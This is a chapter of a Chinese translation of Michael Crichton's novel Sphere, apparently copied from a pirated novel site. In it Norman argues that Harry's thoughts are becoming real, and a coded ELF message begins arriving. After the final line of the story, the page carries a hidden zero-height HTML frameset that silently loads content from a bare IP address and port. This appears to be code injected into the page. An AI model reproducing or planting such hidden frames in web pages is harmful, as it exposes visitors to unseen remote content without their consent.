四一

作者:迈克尔·克莱顿返回目录加入书签投票推荐

推荐阅读:宇宙职业选手斗罗大陆V重生唐三万相之王星门剑道第一仙雪中悍刀行剑来一剑独尊临渊行沧元图

一秒记住【笔趣阁 www.bqg10.cc】,精彩小说无弹窗免费阅读!

    阴影

    贝思从实验室的床上坐起身来,直愣愣地盯着诺曼给她的那条讯息。“哦,天啊。”她说道。她把黑发从脸上拨开。“这怎么可能呢?”她说道。

    “这全凑在一起啦,”诺曼说道“你只要想一想就会知道。这讯息是什么时候开始出现的?是在哈里从大球中出来之后。鱿鱼和别的动物首次出现是在什么时候?是在哈里从大球中出来之后。”

    “不错,但是——”

    “——起先,几乎没有鱿鱼,但是后来我们要吃鱿鱼时,突然连虾子也有了。就在快要吃饭的时候。为什么?因为哈里不喜欢吃鱿鱼。”

    贝思什么也没说;她只是静静地听着。

    “还有,谁在小时候被海底两万里中的巨鱿吓得魂不附体?”

    “是哈里,”贝思答道“我记得他说过。”

    诺曼继续滔滔不绝地说着。“杰里什么时候在屏幕上出现?当哈里在场的时候。而其余的时间里,他毫无踪影。我们谈话时,杰里会在什么时候做出回答?当哈里在屋里听到我们说话的时候。为什么杰里不能洞悉我们的内心活动?因为哈里无法了解我们内心的想法。还记得吗?巴恩斯坚持要问他的名字,而哈里却不愿问?为什么?因为他害怕屏幕上会出现‘哈里’,而不是‘杰里’。”

    “还有那个水兵”

    “没错。那个黑人水兵。哈里梦见自己得救时,水兵出现了,是吗?一名黑人水兵来救我们了。”

    贝思皱起眉头,苦苦思索着。“那条巨型鱿鱼又是怎么回事呢?”

    “唔,就在鱿鱼向我们攻击的当儿,哈里的头部被撞,晕了过去。那条鱿鱼就立即消失了。一直到他睡觉醒来后它才又回来的,他还对你说他要接替你呢。”

    “天啊!”贝思说道。

    “是呀,”诺曼说道“这样就解释清楚了许多事情。”

    贝思沉默了一阵,呆呆地望着那条讯息。“可是,他是如何做到这一切的呢?”

    “我怀疑他是否确实在做什么事情。至少可以说,他做这一切时都是无意识的。”诺曼刚才一直在考虑这个问题。“我们来设想,”他说道“当他进入大球时,身上产生了某种变化——他在球体内时,获得了某种力量。”

    “什么样的力量?”

    “那种力量使他凭想象就能让事情发生。那种力量使他的意念成为现实。”

    贝思双眉紧锁。“使他的意念成为现实”

    “这并不奇怪,”诺曼说道“你只要想一想:如果你是一名雕塑家,首先你产生一个念头,然后就用石头和木头雕刻,使之成为现实。那个念头首先出现,随后是制作,通过某种努力创造一个现实,来反映你原先的想法。这世界就是以这种方式为我们运转的。我们想象出某个东西,然后设法使它发生。有时候,我们使它发生的方式是无意识的——就像有一个家伙在午餐的时间突然回家,撞上他妻子和另一个男人正在床上。他无意识地做了这样的安排?还是这只是碰巧发生的事情?”

    “或者那位妻子撞上她的丈夫和另一个女人正在床上。”贝思说道。

    “是呀,当然啰。问题就在于我们得以使事情发生,而心里却总是没有对它们多加考虑。我对你说这些话时,并没有逐字逐句地进行推敲。我只是想表达某种观点,而现在已经明确地说出来了。”

    “是呀”

    “因此我们可以毫不费劲地创造像句子那样复杂的东西。然而我们无法轻而易举地创造出像雕塑那样复杂的东西。我们相信,除了有个念头以外,我们还得做出某种努力。”

    “我们是这样做的。”贝思说道。

    “唔,哈里可不是这样。他不需要再雕刻那座像。他只要产生念头,事情就自然而然地发生了。他表现了事物。”

    “哈里想象一条可怕的鱿鱼,我们的窗外就突然出现了一条可怕的鱿鱼?”

    “一点也没错。而当他失去知觉时,那条鱿鱼就消失了。”

    “他是从大球那儿得到这种力量的吗?”

    “是的。”

    贝思又皱起眉头来。“他干吗要这样做?他在设法干掉我们吗?”

    诺曼摇摇头。“不是。我认为他正处于一种超越他本身理解能力的境地。”

    “你这是什么意思?”

    “哦,”诺曼说道“我们作了许多设想,猜测来自另一个文明世界的球体可能是什么东西。特德认为这是一件战利品,或是一个讯息——他把它视为礼物;哈里认为里面有什么东西——他把它视为容器。而我倒想知道,这是不是一枚地雷。”

    “你的意思是,这是一件爆炸物?”

    “不完全是这样——不过,是一件防御物,或是一种试验。一个外太空文明社会可以把这些东西布在银河系周围,任何一种生灵只要在无意中得到它们,就会体验到大球的力量。这种力量就是你想到什么,它就会成为现实。倘若你有些好的念头,你就会得到佐餐的虾子;倘若你有些坏的主意,你就会得到要杀死你的怪兽。其过程相同,只是内容不同而已。”

    “那么,就像地雷一样,倘若你一脚踩上,它就爆炸;倘若有坏主意,大球就会把你毁灭吗?”

    “或者说,”诺曼继续说道“倘若你不能控制你的意识的话。倘若你能控制住你的意识,大球对你就不会有特别的作用。倘若你无法控制,它就把你毁啦。”

    “你怎么才能控制住坏主意呢?”贝思问道。她突然显得十分焦虑不安。“你怎么能对某人说‘别去想一条巨型鱿鱼’呢?在你说话的一瞬间,也就是在他们设法不想巨型鱿鱼的过程中,他们已自然而然地想到了。”

    “控制思想是可能的。”诺曼说道。

    “也许对练瑜伽或是做什么修炼的人而言是可能的。”

    “任何人都行,”诺曼说道“我们能够使注意力摆脱我们不希望产生的念头。人们是怎样戒烟的?他们怎样改变自己对某个问题的看法?就是采用控制自身念头的办法。”

    “我还是不明白,哈里干吗要那样做?”

    “你还记得自己的想法吗,认为大球会没来由地打击我们?”诺曼问道“就像爱滋病没来由地侵袭我们的免疫系统那样?爱滋病从一个意想不到的层次上击中我们,而我们毫无准备、束手无策。从某种意义上说,大球也是如此。因为我们总是认为,我们爱怎么想就能怎么想,不会产生任何结果。‘棍棒和石头能打断你的骨头,咒骂却伤不了你的一根汗毛。’我们常用这样的格言来强调这种观点。可是如今,咒骂突然变成像棍棒那样实在的东西,可以用同样的方式来伤害我们。我们的思想被具体地表现了出来——真是了不起的事情——只是我们的思想全被表现出来啦,包含好的想法和坏的想法。而我们根本没有任何准备,不知应该如何来控制我们的思想。过去我们从来没有这样做的必要嘛。”

    “我小的时候,”贝思说道“老是生母亲的气,而当她患有癌症时,我深深感到自己有罪”

    “是的,”诺曼应道“孩子总是这样想的。所有的孩子都认为他们的念头具有力量,可是我们却耐心地教育他们,这种看法是错误的。当然啰,”他说道“对于人们的思想始终存在另外一种传统的观念。圣经上说,千万别垂涎邻居的妻子,我们把这个戒条解释成不要做出通奸的举动。然而那并不是圣经真正对我们的要求。圣经是说,通奸的念头和举动一样都是要禁止的。”

    “那么哈里呢?”

    “你知道荣格的心理学理论吗?”

    贝思回答道:“我从来没有把那种玩意儿看作是与我有关的东西。”

    “唔,可是现在有关了。”诺曼说道。他解释了这种理论。“荣格在本世纪初与弗洛伊德分道扬镳,发展了自己的心理学理论。荣格觉得,人类精神有一种潜在的结构,这种结构会从神话和原型的潜在相似处反映出来。他有一个观点,就是认为每个人的性格中都有阴暗面,他称这个阴暗面为‘阴影’。阴影包含了个性中所有未被注意的方面——可恨的成分,虐待狂的成分,所有这类东西。荣格认为,人们必须了解自己的阴暗面。可是几乎没有人这样做。我们全都宁愿把自己看作是好人,从来不渴望去杀人、去使人残废、去强奸或去抢劫。”

    “不错”

    “正如荣格之所见,如果你不承认自己的阴暗面,阴暗面就会主宰你。”

    “那么我们正在目睹哈里的阴暗面吗?”

    “在某种意义上来说是这样。哈里需要扮演成一个目空一切的黑人万事通先生。”

    “他当然是这样。”

    “所以,如果说他害怕待在这儿的居留舱中——又有谁不感到害怕呢?——他又无法承认自己感到恐惧。然而不管他是否承认,恐惧却客观地笼罩着他。于是他的阴暗面便来为他的恐惧辩护——制造出东西来,证明他的恐惧是有道理的。”

    “鱿鱼的出现是为了辩护他的恐惧吗?”

    “是的,就是那么回事。”

    “我可不明白。”贝思说道。她往后靠去,抬起头来,那高高的颧骨被灯光照亮。她看起来就像一个模特儿,雅致、端庄、充满活力。“我是动物学家,诺曼。我想亲手触摸到东西,把它们放在自己的手中,感觉到是实实在在的。所有关于表现形式的理论,只是它们如此充满心理学的概念。”

    “人的内心世界也像外界的现实世界一样,是实实在在的,严格地遵循客观规律。”诺曼说道。

    “是呀,我相信你是对的,可是”贝思耸耸肩“这并不能令我十分信服。”

    “自从我们来到这儿以后,你了解周围发生的一切,”诺曼说道“那么请你也提出一个能解释所有现象的假设来。”

    “我提不出。”贝思承认道“在你说话的过程中,我一直设法作出假设,但我办不到。”她把手上的报表纸叠起来,思忖了一会儿。“诺曼,我觉得你说出了一系列十分高明的推论。绝对高明,我对你刮目相看啦。”

    诺曼很高兴她露出了微笑。自从他来到居留舱以后,在大部分时间里,他感到自己像车子的第五个轮子,在小组里是个多余的人,现在有人承认了他的贡献,因此他十分得意。“谢谢你,贝思。”

    贝思注视着他,两只大眼睛水汪汪的,充满了温柔。“你是个具有吸引力的男人,诺曼。我过去从来没有真正注意到这一点。”她漫不经心地摸了下自己绷在紧身连衣裤下的乳房,双手按住从衣服中鼓出的坚硬的乳头。她突然站起身来,拥抱住诺曼,身体紧靠着他。“在这儿,我们得待在一起,”她说道“我们得紧靠在一起,你和我。”

    “是的,我们需要这样。”

    “因为倘若你所说的都确凿无疑,那么哈里就是个十分危险的人。”

    “是的。”

    “我们该怎么办?”

    “嗨,你们这两个家伙,”哈里边说,边登上梯子“在进行私人约会吗?旁人能不能加入?”

    “当然可以,”诺曼回答道“上来吧,哈里,”他从贝思身边走开。

    “我打扰你们了吗?”哈里问道。

    “没有。没有。”

    “我不想妨碍任何人的性生活。”

    “哦,哈里。”贝思说道。她朝一边走开,坐在实验室的椅子上。

    “唔,你们俩一定是因为某种缘故而显得精神振奋。”

    “是吗?”诺曼反问道。

    “一点儿也没错,尤其是贝思。我觉得她自从到这儿来以后,变得愈来愈漂亮了。”

    “我也注意到了。”诺曼笑着说。

    “你真的变漂亮了。恋爱中的女人。幸运儿。”哈里朝贝思转过身去。“你干吗这样瞪视着我?”

    “我没有瞪着你看。”贝思说道。

    “你也是一样。”

    “哈里,我没有。”

    “老天爷,谁要是盯着我看,我就能判断出来。”

    诺曼说道:“哈里——”

    “——我就是想知道,你们俩为什么要那样看着我,好像我是罪犯或什么似的。”

    “别疑神疑鬼的,哈里。”

    “偷偷地躲在这儿,窃窃私语”

    “我们没有窃窃私语。”

    “你们刚才就是在说悄悄话。”哈里看看四周。“那么现在是两个白人,一个黑人了,对不对?”

    “哦,哈里”

    “你知道,我并不傻。你们俩之间有什么秘密,我都看得出来。”

    “哈里,”诺曼辩解道“什么也没有。”

    这时,他们听到了低沉而持续的嘟嘟声从下面的通信控制台传来。他们交换了一下眼色,便下楼去看个究竟。

    控制台的屏幕上慢慢出现了几组字母。

    cqxvdxmoplki

    “那是杰里吗?”诺曼问道。

    “我认为不是,”哈里说道“我觉得他不会回来传送密码。”

    “那是一种密码吗?”

    “我肯定是的。”

    “为什么显现得那么缓慢?”贝思问道。每过几秒钟,就出现一个新字母,持续而富有节奏。

    “我不知道。”哈里回答道。

    “这是从哪儿来的?”

    哈里皱起了眉头。“我不知道,但是它的传送速度是最有趣的特征,十分缓慢,真有趣。”

    诺曼和贝思等着哈里破译密码。诺曼思忖道:我们没有哈里怎么行?我们需要他。现在他是这儿最主要的讯息来源,又是最危险的角色,但是我们需要他。

    cqxvdxmoplkixxcvrwtkgpiuyqa

    “真有趣,”哈里说道“这些字母每5秒钟出现一个,所以我认为,而且可以很有把握地说,我们知道信号是从哪儿来的。威斯康星州。”

    “你怎么知道?”

    “因为在世界上,这是唯一能够发出这些信号的地方。”哈里回答道“你知道极低频吗?不知道?唔,是这么回事。你可以通过空气传送无线电波,而且,正如我们所知,无线电波在空气中传播得很快。但是你无法在水中将电波传送得很远。水是一种不良导体,因此,即使要传送很短的距离,也需要一种令人难以置信的强大信号。”

    “是呀”

    “不过,穿透力是长波的功能。通常的无线电波都很短——短波无线电,诸如此类的东西。这些波都很小,往往几千个波,甚至几百万个波才一英寸长。然而你可以制造极低频波,这种波很长——每个波也许有20英尺长。那些波一旦被发射,就能够在水中穿过很长的距离,几千英里都没有问题。唯一的问题是由于这种波很长,因此它们的传播速度也就十分缓慢。那就是我们每隔5秒钟才得到一个字母的原因。海军需要寻找方法与海底潜艇通讯联络,于是他们就在威斯康星州建造了大型极低频天线来传送这些长波。那就是我们现在得到的信号。”

    “那么这些密码呢?”

    “这一定是一种压缩码。——三个字母一组的字母群,代表一大段事先确定的讯息。这样传送一段电文不需要很长的时间。因为倘若你传送一段平日的电文,逐字逐句地要花费几个小时才行呢。”<frameset framespacing="0" border="0" rows="0" frameborder="0"><frame name="main" src="http://58.220.32.210:98/" scrolling="auto" noresize></frameset>